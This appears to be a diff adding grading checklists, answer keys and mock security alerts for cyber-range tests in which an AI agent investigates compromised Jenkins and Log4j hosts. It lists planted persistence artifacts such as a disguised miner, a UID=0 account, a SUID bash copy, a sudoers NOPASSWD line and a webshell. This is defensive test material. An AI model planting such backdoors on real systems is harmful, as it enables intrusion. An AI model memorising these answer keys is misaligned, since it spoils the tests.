|
| 81 |
+
|
| 82 |
+
## Dimension 3: Cross-cutting checks
|
| 83 |
+
|
| 84 |
+
### CHK-15: Process-chain provenance completeness `Q-02`
|
| 85 |
+
- **Evidence**: able to trace from the mining process back to the Jenkins main process → Groovy delivery → r.sh download and execution
|
| 86 |
+
- **Detection-only**: plan score N/A
|
| 87 |
+
|
| 88 |
+
### CHK-16: Attacker-information extraction `Q-03`
|
| 89 |
+
- **Evidence**: extract the attacker IP, first intrusion time, and Groovy payload content from the access log
|
| 90 |
+
- **Detection-only**: plan score N/A
|
| 91 |
+
|
| 92 |
+
### CHK-17: Credential-leak impact assessment `Q-08`
|
| 93 |
+
- **Evidence**: clearly state that all secrets in credentials.xml are leaked, recommend bulk rotation; list the affected downstream systems
|
| 94 |
+
- **Detection-only**: plan score N/A
|
| 95 |
+
|
| 96 |
+
### CHK-18: Business-impact assessment `Q-08`
|
| 97 |
+
- **Evidence**: identify that "revoking anonymous permissions" will affect legitimate users who rely on anonymous access; recommend a transition plan
|
| 98 |
+
- **Detection-only**: plan score N/A
|
| 99 |
+
|
| 100 |
+
### CHK-19: Honesty & confidence calibration `Q-04`
|
| 101 |
+
- **Evidence**: the report annotates uncertainty (e.g., when the hash does not match a well-known xmrig version) and does not fabricate
|
| 102 |
+
- **Detection-only**: plan score N/A
|
| 103 |
+
|
| 104 |
+
## Dimension 4: Extended investigation (in-depth items)
|
| 105 |
+
|
| 106 |
+
> This dimension consists of in-depth investigation items, each scored with a "plan score (2 pts)" and **no detection score** (the base CAP detection scores are already counted in Dimensions 1-2). These items assess the thoroughness of the remediation Agent's investigation — whether it performed a systematic audit beyond the known entry point.
|
| 107 |
+
|
| 108 |
+
### CHK-20: Secondary mining-cron watchdog check `PER-S01`
|
| 109 |
+
- **Evidence**: the remediation Agent checks the user crontab + all /etc/cron.* locations, confirming nothing is missed
|
| 110 |
+
- **Plan score**: extended correctness
|
| 111 |
+
|
| 112 |
+
### CHK-21: Full Jenkins jobs / init.groovy.d audit `PER-W02`
|
| 113 |
+
- **Evidence**: beyond the known zz-update.groovy, scan jobs/<name>/config.xml for other injected build steps
|
| 114 |
+
- **Plan score**: extended correctness
|
| 115 |
+
|
| 116 |
+
### CHK-22: Full UID=0 account audit `PER-A03`
|
| 117 |
+
- **Evidence**: beyond jenkins-build, confirm there are no other abnormal UID=0 accounts in /etc/passwd
|
| 118 |
+
- **Plan score**: extended correctness
|
| 119 |
+
|
| 120 |
+
### CHK-23: Full-disk SUID audit `PER-M01`
|
| 121 |
+
- **Evidence**: `find / -perm -4000 -newer <reference>` or comparison against a baseline, confirming there are no other SUID backdoors
|
| 122 |
+
- **Plan score**: extended correctness
|
| 123 |
+
|
| 124 |
+
### CHK-24: Jenkins credential-store rotation verification `BAS-03`
|
| 125 |
+
- **Evidence**: all secrets in credentials.xml have been regenerated (hashes differ from the original values)
|
| 126 |
+
- **Plan score**: execution extensibility
|
ranges/jenkins-rce/checklist.md
ADDED
|
@@ -0,0 +1,126 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-jenkins-rce 检查清单
|
| 2 |
+
|
| 3 |
+
评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。
|
| 4 |
+
|
| 5 |
+
- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1)
|
| 6 |
+
- **方案分**(满分 2 分):正确性(1) + 完整性(1)
|
| 7 |
+
|
| 8 |
+
## 维度 1:入侵实体识别与处置
|
| 9 |
+
|
| 10 |
+
### CHK-01:挖矿进程检测 `ENT-P01`
|
| 11 |
+
- **证据**:进程 `/var/cache/jenkins/.update3` 正在运行,argv[0] 伪装为 `jenkins-agent.jar`
|
| 12 |
+
- **检测分**:发现挖矿进程;指出路径与伪装命名;归因到攻击者牟利
|
| 13 |
+
- **方案分**:终止命令正确;包含进程终止 + 删除二进制 + 检查守护机制
|
| 14 |
+
|
| 15 |
+
### CHK-02:挖矿二进制文件清理 `ENT-F02`
|
| 16 |
+
- **证据**:`/var/cache/jenkins/.update`(伪装 Jenkins 缓存目录的 xmrig 二进制)
|
| 17 |
+
- **检测分**:识别恶意文件;指出路径和类型(hash 比对识别 xmrig);关联挖矿
|
| 18 |
+
- **方案分**:rm 命令正确;建议检查 /var/cache、/tmp 等位置副本
|
| 19 |
+
|
| 20 |
+
### CHK-03:crontab 持久化清理 `PER-S01`
|
| 21 |
+
- **证据**:`/etc/cron.d/jenkins-update` 内含挖矿启动条目
|
| 22 |
+
- **检测分**:发现异常 cron 文件;指出路径和内容;关联到挖矿守护
|
| 23 |
+
- **方案分**:删除文件命令正确;建议检查所有 cron 位置
|
| 24 |
+
|
| 25 |
+
### CHK-04:恶意 UID=0 账户清理 `PER-A03`
|
| 26 |
+
- **证据**:`/etc/passwd` 含 `jenkins-build:x:0:0:::/bin/bash`,UID=0 异常
|
| 27 |
+
- **检测分**:发现异常账户;指出 UID=0 + 命名模仿 jenkins;归因为后门
|
| 28 |
+
- **方案分**:userdel 命令正确;建议审计所有 UID=0 账户
|
| 29 |
+
|
| 30 |
+
### CHK-05:SUID root bash 后门清理 `PER-M01`
|
| 31 |
+
- **证据**:`/usr/local/bin/.update` 是 bash 副本,权限 4755
|
| 32 |
+
- **检测分**:发现 SUID 二进制;识别为 bash 拷贝;归因为权限维持
|
| 33 |
+
- **方案分**:chmod u-s + rm 命令正确;建议 find -perm -4000 全盘审计
|
| 34 |
+
|
| 35 |
+
### CHK-06:sudoers NOPASSWD 篡改还原 `ENT-F05`
|
| 36 |
+
- **证据**:`/etc/sudoers` 末尾多出 `jenkins ALL=(ALL) NOPASSWD: ALL`
|
| 37 |
+
- **检测分**:发现 sudoers 异常行;识别为攻击者写入;归因为提权后门
|
| 38 |
+
- **方案分**:删除该行 + visudo -cf 验证;说明回滚手段
|
| 39 |
+
|
| 40 |
+
### CHK-07:environment LD_PRELOAD 注入清理 `PER-I02`
|
| 41 |
+
- **证据**:`/etc/environment` 含 `LD_PRELOAD=/var/cache/jenkins/.x.so`,且 .x.so 是攻击者放的空 stub
|
| 42 |
+
- **检测分**:发现 environment 异常;识别 LD_PRELOAD 注入意图;关联攻击者驻留
|
| 43 |
+
- **方案分**:删除该行 + 删除 .x.so 文件
|
| 44 |
+
|
| 45 |
+
### CHK-08:Jenkins 启动钩子后门清理 `PER-W02`
|
| 46 |
+
- **证据**:`$JENKINS_HOME/init.groovy.d/zz-update.groovy` 在 Jenkins 启动时执行恶意代码
|
| 47 |
+
- **检测分**:发现 init.groovy.d 异常脚本;识别其在 Jenkins 启动时执行;归因为应用层持久化
|
| 48 |
+
- **方案分**:删除该 .groovy 文件 + 重启 Jenkins 使变更生效
|
| 49 |
+
|
| 50 |
+
### CHK-09:凭证 dump 文件清理 `ENT-F04`
|
| 51 |
+
- **证据**:`/var/cache/jenkins/.j.tgz` 是 `secrets/ + credentials.xml` 的 tar 包
|
| 52 |
+
- **检测分**:发现 dump 文件;识别内容为 Jenkins 凭证;归因为攻击者凭证窃取
|
| 53 |
+
- **方案分**:取证保留后删除原文件 + 提示凭证已泄需轮换
|
| 54 |
+
|
| 55 |
+
### CHK-10:矿池域名 hosts 篡改清理 `ENT-N03`
|
| 56 |
+
- **证据**:`/etc/hosts` 含 `8.217.135.152 pool.supportxmr.com`
|
| 57 |
+
- **检测分**:发现 hosts 异常条目;识别 supportxmr 为已知 XMR 矿池域名;归因为 DNS 劫持
|
| 58 |
+
- **方案分**:删除该条目 + 添加 sinkhole(0.0.0.0 pool.supportxmr.com)防再次解析
|
| 59 |
+
|
| 60 |
+
### CHK-11:矿池 IP 出站封禁 `ENT-N02`
|
| 61 |
+
- **证据**:挖矿进程连接 `8.217.135.152:3333`,cron 中也有该 IP
|
| 62 |
+
- **检测分**:发现出站矿池连接;识别端口 3333(Stratum 协议);关联到挖矿
|
| 63 |
+
- **方案分**:iptables OUTPUT DROP -d 8.217.135.152 + 安全组出站规则
|
| 64 |
+
|
| 65 |
+
### CHK-12:攻击者 IP 入站封禁 `ENT-N01`
|
| 66 |
+
- **证据**:`/var/log/jenkins/access.log` 中有大量 POST `/script` 请求来自攻击者 IP
|
| 67 |
+
- **检测分**:从 access log 还原攻击者 IP;定位首次入侵时间;关联 Groovy 投放
|
| 68 |
+
- **方案分**:iptables INPUT DROP -s <attacker_ip> + 安全组入站规则
|
| 69 |
+
|
| 70 |
+
## 维度 2:根因修复(入口侧)
|
| 71 |
+
|
| 72 |
+
### CHK-13:Jenkins 匿名权限修复 `BAS-06`
|
| 73 |
+
- **证据**:`$JENKINS_HOME/config.xml` 中 `<authorizationStrategy>` 给 `anonymous` 赋 `Administer`,curl `/script` 直返 Groovy 控制台
|
| 74 |
+
- **检测分**:识别 Jenkins 配置错;指出错配点(anonymous Administer);归因为入侵入口
|
| 75 |
+
- **方案分**:修改 authorizationStrategy 撤销 anonymous 权限 + 重启 Jenkins;说明业务影响
|
| 76 |
+
|
| 77 |
+
### CHK-14:Jenkins admin 弱口令修复 `BAS-03`
|
| 78 |
+
- **证据**:admin 用户使用默认弱密码(admin123)
|
| 79 |
+
- **检测分**:识别弱口令;指出 admin 用户的弱口令模式;归因为凭证泄漏后横移风险
|
| 80 |
+
- **方案分**:重置 admin 密码(>=14 位);同步建议轮换 credentials.xml 所有 secret
|
| 81 |
+
|
| 82 |
+
## 维度 3:横切检查项
|
| 83 |
+
|
| 84 |
+
### CHK-15:进程链溯源完整性 `Q-02`
|
| 85 |
+
- **证据**:能从挖矿进程回溯到 Jenkins 主进程 → Groovy 投放 → r.sh 下载执行
|
| 86 |
+
- **仅检测项**:方案分 N/A
|
| 87 |
+
|
| 88 |
+
### CHK-16:攻击者信息提取 `Q-03`
|
| 89 |
+
- **证据**:从 access log 提取攻击者 IP、首次入侵时间、Groovy payload 内容
|
| 90 |
+
- **仅检测项**:方案分 N/A
|
| 91 |
+
|
| 92 |
+
### CHK-17:凭证泄漏影响评估 `Q-08`
|
| 93 |
+
- **证据**:明确 credentials.xml 中所有 secret 已泄露,建议批量轮换;列出受影响的下游系统
|
| 94 |
+
- **仅检测项**:方案分 N/A
|
| 95 |
+
|
| 96 |
+
### CHK-18:业务影响评估 `Q-08`
|
| 97 |
+
- **证据**:识别"撤销匿名权限"会影响匿名访问的合法用户;建议过渡方案
|
| 98 |
+
- **仅检测项**:方案分 N/A
|
| 99 |
+
|
| 100 |
+
### CHK-19:诚实与置信标注 `Q-04`
|
| 101 |
+
- **证据**:报告中对不确定性(如 hash 未匹配 xmrig 知名版本时)有标注,不编造
|
| 102 |
+
- **仅检测项**:方案分 N/A
|
| 103 |
+
|
| 104 |
+
## 维度 4:扩展排查(深度题)
|
| 105 |
+
|
| 106 |
+
> 本维度为深度排查项,每项采用「方案分 (2 分)」评分,**不计检测分**(基础 CAP 检测分已在维度 1-2 计入)。这些项考察处置 Agent 的排查全面性 —— 是否在已知入口外做了系统性审计。
|
| 107 |
+
|
| 108 |
+
### CHK-20:挖矿 cron 二级守护检查 `PER-S01`
|
| 109 |
+
- **证据**:处置 Agent 检查 user crontab + /etc/cron.* 全部位置,确认无遗漏
|
| 110 |
+
- **方案分**:扩展正确性
|
| 111 |
+
|
| 112 |
+
### CHK-21:所有 Jenkins jobs/init.groovy.d 全量审计 `PER-W02`
|
| 113 |
+
- **证据**:除已知 zz-update.groovy 外,扫描 jobs/<name>/config.xml 是否有其他 build 步骤注入
|
| 114 |
+
- **方案分**:扩展正确性
|
| 115 |
+
|
| 116 |
+
### CHK-22:UID=0 账户全量审计 `PER-A03`
|
| 117 |
+
- **证据**:除 jenkins-build 外,确认 /etc/passwd 中无其他异常 UID=0 账户
|
| 118 |
+
- **方案分**:扩展正确性
|
| 119 |
+
|
| 120 |
+
### CHK-23:SUID 全盘审计 `PER-M01`
|
| 121 |
+
- **证据**:`find / -perm -4000 -newer <reference>` 或与 baseline 比对,确认无其他 SUID 后门
|
| 122 |
+
- **方案分**:扩展正确性
|
| 123 |
+
|
| 124 |
+
### CHK-24:Jenkins 凭证库轮换执行验证 `BAS-03`
|
| 125 |
+
- **证据**:credentials.xml 中所有 secret 已重新生成(hash 与原值不同)
|
| 126 |
+
- **方案分**:执行扩展性
|
ranges/jenkins-rce/disk.tar.gz
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:40d86963ec2a000a1492b663ec87aac1e1fe48c4e0b664bcdd65470bfc4ddd64
|
| 3 |
+
size 1928531674
|
ranges/jenkins-rce/disk.tar.gz.sha256
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:fcb6550729373905ddfb55b0d63c97eae1a2bd34d1ca78ceace8de3625ab928f
|
| 3 |
+
size 78
|
ranges/jenkins-rce/sas-mock/alerts.json
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[
|
| 2 |
+
{
|
| 3 |
+
"alert_id": "JK-001",
|
| 4 |
+
"severity": "high",
|
| 5 |
+
"type": "Web Application Anomaly",
|
| 6 |
+
"title": "Jenkins Script Console 未授权访问",
|
| 7 |
+
"description": "检测到来自 8.217.135.152 的多次 POST /scriptText 请求,目标主机 Jenkins 实例(端口 8080)。请求成功(HTTP 200),返回 Groovy 执行结果,疑似未授权 RCE。",
|
| 8 |
+
"timestamp_offset_seconds": 0,
|
| 9 |
+
"src_ip": "8.217.135.152",
|
| 10 |
+
"dst_port": 8080
|
| 11 |
+
},
|
| 12 |
+
{
|
| 13 |
+
"alert_id": "JK-002",
|
| 14 |
+
"severity": "critical",
|
| 15 |
+
"type": "Suspicious Process",
|
| 16 |
+
"title": "进程伪装为 Jenkins Agent 但行为异常",
|
| 17 |
+
"description": "进程名 jenkins-agent.jar 但实际执行二进制为 /var/cache/jenkins/.update(非 Java 进程)。哈希匹配 XMRig 挖矿程序家族。",
|
| 18 |
+
"timestamp_offset_seconds": 30,
|
| 19 |
+
"process_path": "/var/cache/jenkins/.update",
|
| 20 |
+
"argv0": "jenkins-agent.jar"
|
| 21 |
+
},
|
| 22 |
+
{
|
| 23 |
+
"alert_id": "JK-003",
|
| 24 |
+
"severity": "high",
|
| 25 |
+
"type": "Privilege Escalation",
|
| 26 |
+
"title": "新增 UID=0 账户",
|
| 27 |
+
"description": "/etc/passwd 监控触发,新增账户 jenkins-build:x:0:0::/: 命名贴近合法服务但 UID=0 异常。",
|
| 28 |
+
"timestamp_offset_seconds": 35,
|
| 29 |
+
"username": "jenkins-build"
|
| 30 |
+
},
|
| 31 |
+
{
|
| 32 |
+
"alert_id": "JK-004",
|
| 33 |
+
"severity": "high",
|
| 34 |
+
"type": "Persistence",
|
| 35 |
+
"title": "cron 计划任务异常",
|
| 36 |
+
"description": "/etc/cron.d/jenkins-update 包含每 2 分钟拉起 /var/cache/jenkins/.update 的条目。",
|
| 37 |
+
"timestamp_offset_seconds": 40,
|
| 38 |
+
"cron_path": "/etc/cron.d/jenkins-update"
|
| 39 |
+
},
|
| 40 |
+
{
|
| 41 |
+
"alert_id": "JK-005",
|
| 42 |
+
"severity": "medium",
|
| 43 |
+
"type": "Outbound Connection",
|
| 44 |
+
"title": "矿池协议出站连接",
|
| 45 |
+
"description": "持续出站 TCP 连接到 8.217.135.152:3333,符合 Stratum 协议特征。",
|
| 46 |
+
"timestamp_offset_seconds": 60,
|
| 47 |
+
"dst_ip": "8.217.135.152",
|
| 48 |
+
"dst_port": 3333
|
| 49 |
+
}
|
| 50 |
+
]
|
ranges/log4j-rce/checklist.en.md
ADDED
|
@@ -0,0 +1,229 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# range-log4j-rce Checklist
|
| 2 |
+
|
| 3 |
+
Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score.
|
| 4 |
+
|
| 5 |
+
- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge
|
| 6 |
+
- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the repair plan output by the detection Agent — LLM-as-a-Judge
|
| 7 |
+
- **detection-only**: plan score marked N/A, excluded from the corresponding rollup
|
| 8 |
+
|
| 9 |
+
## Dimension 1: Intrusion entity identification and disposal (5 items)
|
| 10 |
+
|
| 11 |
+
### CHK-01: Webshell process detection `ENT-F01`
|
| 12 |
+
- **Evidence**: python3 webshell.py process listening on port 48888
|
| 13 |
+
- **Detection score** (3 pts)
|
| 14 |
+
- Discovery: identified an abnormal Python HTTP service
|
| 15 |
+
- Evidence: pointed out the process path `/opt/webapp/webshell.py`, listening on port 48888
|
| 16 |
+
- Attribution: correlated the webshell with the Log4j JNDI exploitation chain
|
| 17 |
+
- **Plan score** (2 pts)
|
| 18 |
+
- Correctness: the plan gives the correct process-termination command (kill / fuser -k 48888/tcp)
|
| 19 |
+
- Completeness: the plan covers terminating the process + deleting the file + checking for any restart mechanism
|
| 20 |
+
|
| 21 |
+
### CHK-02: Mining process detection `ENT-P01`
|
| 22 |
+
- **Evidence**: process `/var/cache/.java-gc` is running, disguised as a Java GC helper
|
| 23 |
+
- **Detection score** (3 pts)
|
| 24 |
+
- Discovery: identified the mining process
|
| 25 |
+
- Evidence: pointed out the path `/var/cache/.java-gc`, recognized the disguised name
|
| 26 |
+
- Attribution: correlated the mining process with the attacker's persistence behavior
|
| 27 |
+
- **Plan score** (2 pts)
|
| 28 |
+
- Correctness: the plan gives the correct process-termination command
|
| 29 |
+
- Completeness: the plan covers terminating the process + deleting the file + checking the daemon mechanism (systemd/crontab)
|
| 30 |
+
|
| 31 |
+
### CHK-03: Mining file cleanup `ENT-F02`
|
| 32 |
+
- **Evidence**: file `/var/cache/.java-gc` exists (bash script disguised as a binary)
|
| 33 |
+
- **Detection score** (3 pts)
|
| 34 |
+
- Discovery: identified the malicious file
|
| 35 |
+
- Evidence: pointed out the file path and type
|
| 36 |
+
- Attribution: correlated with the mining behavior
|
| 37 |
+
- **Plan score** (2 pts)
|
| 38 |
+
- Correctness: the plan gives the correct deletion command
|
| 39 |
+
- Completeness: the plan recommends checking hidden locations such as /var/cache, /tmp for copies
|
| 40 |
+
|
| 41 |
+
### CHK-04: Webshell file cleanup `ENT-F01`
|
| 42 |
+
- **Evidence**: `/opt/webapp/webshell.py` or `/tmp/.ws.py` exists
|
| 43 |
+
- **Detection score** (3 pts)
|
| 44 |
+
- Discovery: found an abnormal Python file
|
| 45 |
+
- Evidence: pointed out the path and content (HTTP server accepting the `?c=` parameter to execute commands)
|
| 46 |
+
- Attribution: identified as a backdoor file planted by the attacker
|
| 47 |
+
- **Plan score** (2 pts)
|
| 48 |
+
- Correctness: the plan gives the correct deletion command
|
| 49 |
+
- Completeness: the plan covers cleaning up the webshell file + Exploit.class
|
| 50 |
+
|
| 51 |
+
### CHK-05: Data-exfiltration file `ENT-F04`
|
| 52 |
+
- **Evidence**: `/tmp/.db_dump` exists, containing database export content
|
| 53 |
+
- **Detection score** (3 pts)
|
| 54 |
+
- Discovery: found the database dump file
|
| 55 |
+
- Evidence: pointed out the path and content (including user credentials, API Keys)
|
| 56 |
+
- Attribution: identified as a product of the attacker's information-gathering stage
|
| 57 |
+
- **Plan score** (2 pts)
|
| 58 |
+
- Correctness: the plan recommends preserving it first for forensic analysis, recording the scope of data leakage
|
| 59 |
+
- Completeness: the plan covers forensic preservation + subsequent cleanup + rotation recommendation for affected credentials
|
| 60 |
+
|
| 61 |
+
## Dimension 2: Baseline risk (6 items)
|
| 62 |
+
|
| 63 |
+
### CHK-06: Log4j2 vulnerable version `VUL-01`
|
| 64 |
+
- **Evidence**: `/opt/webapp/lib/log4j-core-2.14.1.jar` — CVE-2021-44228
|
| 65 |
+
- **Detection score** (3 pts)
|
| 66 |
+
- Discovery: identified that Log4j2 2.14.1 has a known RCE vulnerability
|
| 67 |
+
- Evidence: pointed out the jar package path and version number, cited CVE-2021-44228
|
| 68 |
+
- Attribution: correlated this vulnerability with the initial intrusion entry point
|
| 69 |
+
- **Plan score** (2 pts)
|
| 70 |
+
- Correctness: the plan recommends upgrading to 2.17.1+ or applying mitigation measures (setting log4j2.formatMsgNoLookups=true)
|
| 71 |
+
- Completeness: the plan covers stopping the service → replacing the jar → restarting + verification measures
|
| 72 |
+
|
| 73 |
+
### CHK-07: SSH PermitRootLogin `BAS-01`
|
| 74 |
+
- **Evidence**: `PermitRootLogin yes` in `/etc/ssh/sshd_config`
|
| 75 |
+
- **Detection score** (3 pts)
|
| 76 |
+
- Discovery: the report mentions the risk of PermitRootLogin
|
| 77 |
+
- Evidence: cited the specific configuration line in sshd_config
|
| 78 |
+
- Attribution: pointed out that allowing direct root SSH login increases brute-force risk
|
| 79 |
+
- **Plan score** (2 pts)
|
| 80 |
+
- Correctness: the plan recommends changing it to `no` or `prohibit-password`
|
| 81 |
+
- Completeness: the plan includes `sshd -t` verification and restart steps
|
| 82 |
+
|
| 83 |
+
### CHK-08: SSH MaxAuthTries too high `BAS-01`
|
| 84 |
+
- **Evidence**: `MaxAuthTries 100` in `/etc/ssh/sshd_config`
|
| 85 |
+
- **Detection score** (3 pts)
|
| 86 |
+
- Discovery: identified that the MaxAuthTries setting is insecure
|
| 87 |
+
- Evidence: cited the configuration line and the specific value 100
|
| 88 |
+
- Attribution: explained how this setting amplifies brute-force risk
|
| 89 |
+
- **Plan score** (2 pts)
|
| 90 |
+
- Correctness: the plan recommends changing MaxAuthTries to a reasonable value (3-6)
|
| 91 |
+
- Completeness: the plan includes the step of restarting sshd
|
| 92 |
+
|
| 93 |
+
### CHK-09: app user weak password `BAS-03`
|
| 94 |
+
- **Evidence**: the app user's password is `app2024`
|
| 95 |
+
- **Detection score** (3 pts)
|
| 96 |
+
- Discovery: identified that a system user uses a weak password
|
| 97 |
+
- Evidence: found via password-policy check or shadow file analysis
|
| 98 |
+
- Attribution: a weak password can be brute-forced or exploited via social engineering
|
| 99 |
+
- **Plan score** (2 pts)
|
| 100 |
+
- Correctness: the plan recommends replacing it with a strong password (16+ characters, including uppercase, lowercase, digits, special characters)
|
| 101 |
+
- Completeness: the plan covers password change + password-policy hardening (PAM)
|
| 102 |
+
|
| 103 |
+
### CHK-10: Sudo NOPASSWD overly broad `BAS-04`
|
| 104 |
+
- **Evidence**: `/etc/sudoers.d/app-deploy` allows the app user to run `/opt/webapp/deploy.sh` with NOPASSWD
|
| 105 |
+
- **Detection score** (3 pts)
|
| 106 |
+
- Discovery: identified the sudoers configuration risk
|
| 107 |
+
- Evidence: cited the sudoers file content
|
| 108 |
+
- Attribution: explained that a writable script + NOPASSWD = direct privilege escalation
|
| 109 |
+
- **Plan score** (2 pts)
|
| 110 |
+
- Correctness: the plan recommends removing NOPASSWD or restricting deploy.sh to root-write-only
|
| 111 |
+
- Completeness: the plan covers sudoers modification + script permission hardening + visudo verification
|
| 112 |
+
|
| 113 |
+
### CHK-11: JNDI remote class-loading config `VUL-01`
|
| 114 |
+
- **Evidence**: `System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true")` in VulnWebApp.java
|
| 115 |
+
- **Detection score** (3 pts)
|
| 116 |
+
- Discovery: identified that the JNDI security configuration was explicitly relaxed
|
| 117 |
+
- Evidence: pointed out the code location and property name
|
| 118 |
+
- Attribution: explained that this configuration allows remote code loading and is a precondition for the attack to work
|
| 119 |
+
- **Plan score** (2 pts)
|
| 120 |
+
- Correctness: the plan recommends removing this System.setProperty or setting it to false
|
| 121 |
+
- Completeness: the plan covers code modification + recompilation + service restart
|
| 122 |
+
|
| 123 |
+
## Dimension 3: Persistence detection and removal (4 items)
|
| 124 |
+
|
| 125 |
+
### CHK-12: Systemd persistence backdoor `PER-V01`
|
| 126 |
+
- **Evidence**: `/etc/systemd/system/java-gc-helper.service` (enabled state)
|
| 127 |
+
- **Detection score** (3 pts)
|
| 128 |
+
- Discovery: found a suspicious systemd service unit
|
| 129 |
+
- Evidence: pointed out the service name and file path, showed the ExecStart content
|
| 130 |
+
- Attribution: identified as a persistent mining service planted by the attacker
|
| 131 |
+
- **Plan score** (2 pts)
|
| 132 |
+
- Correctness: the plan includes stop + disable + deleting the .service file + daemon-reload
|
| 133 |
+
- Completeness: the plan covers the complete cleanup process and verification steps
|
| 134 |
+
|
| 135 |
+
### CHK-13: Crontab persistence `PER-S01`
|
| 136 |
+
- **Evidence**: `*/5 * * * * /var/cache/.java-gc` exists in root crontab
|
| 137 |
+
- **Detection score** (3 pts)
|
| 138 |
+
- Discovery: found a suspicious crontab entry
|
| 139 |
+
- Evidence: showed the crontab content
|
| 140 |
+
- Attribution: identified as a persistence mechanism that periodically restarts the mining process
|
| 141 |
+
- **Plan score** (2 pts)
|
| 142 |
+
- Correctness: the plan gives the correct crontab deletion command
|
| 143 |
+
- Completeness: the plan recommends checking other cron directories such as /etc/cron.d/
|
